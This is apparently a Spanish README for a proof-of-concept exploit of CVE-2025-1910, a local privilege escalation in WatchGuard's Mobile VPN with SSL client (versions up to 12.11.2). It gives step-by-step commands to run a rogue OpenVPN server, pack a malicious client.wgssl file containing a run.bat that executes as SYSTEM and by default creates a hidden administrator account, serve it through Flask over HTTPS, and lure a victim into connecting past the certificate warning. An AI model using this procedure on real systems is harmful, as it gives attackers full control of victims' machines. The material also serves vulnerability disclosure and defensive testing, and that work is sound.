
Prueba de concepto para explotar CVE-2025-1910, una escalada de privilegios local dentro del cliente Mobile VPN with SSL de WatchGuard.
Una vulnerabilidad de escalada de privilegios en Mobile VPN with SSL de WatchGuard <= 12.11.2 permite a un usuario con bajos privilegios ejecutar comandos como SYSTEM en el cliente. Probado con la versión 12.11.2 de Mobile VPN with SSL.
Para más detalles, consulte nuestro artículo del blog (versión en alemán).
sudo openvpn --config server.conf

Modifique la opción remote en ./client/client.ovpn para que apunte al servidor OpenVPN
Modifique ./client/run.bat según su preferencia; este script se ejecutará como SYSTEM. De forma predeterminada, se crea un nuevo usuario administrador (shinyNewAdmin)
Cree el archivo malicioso client.wgssl de WatchGuard:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl mediante flask:# Start the flask HTTPS server
sudo python3 srv.py

Opcionalmente, se puede crear un nuevo par de certificado y clave mediante openssl:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
Luego, en la máquina víctima donde esté instalada una versión vulnerable de Mobile VPN with SSL (por ejemplo, la versión 12.11.2, Descarga), intente conectarse al servidor atacante. El nombre de usuario y la contraseña ingresados no importan:

Haga clic en Sí en la alerta de seguridad para ignorar las advertencias del certificado:

Después de que la conexión se establezca correctamente, se ejecuta el archivo run.bat y se crea el usuario shinyNewAdmin:

En el servidor atacante necesita tener instalados Python, openssl y openvpn. Además, debe instalarse el paquete Python flask:
pip install -r requirements.txt
Con Nix instalado, puede iniciar el shell de desarrollo:
nix develop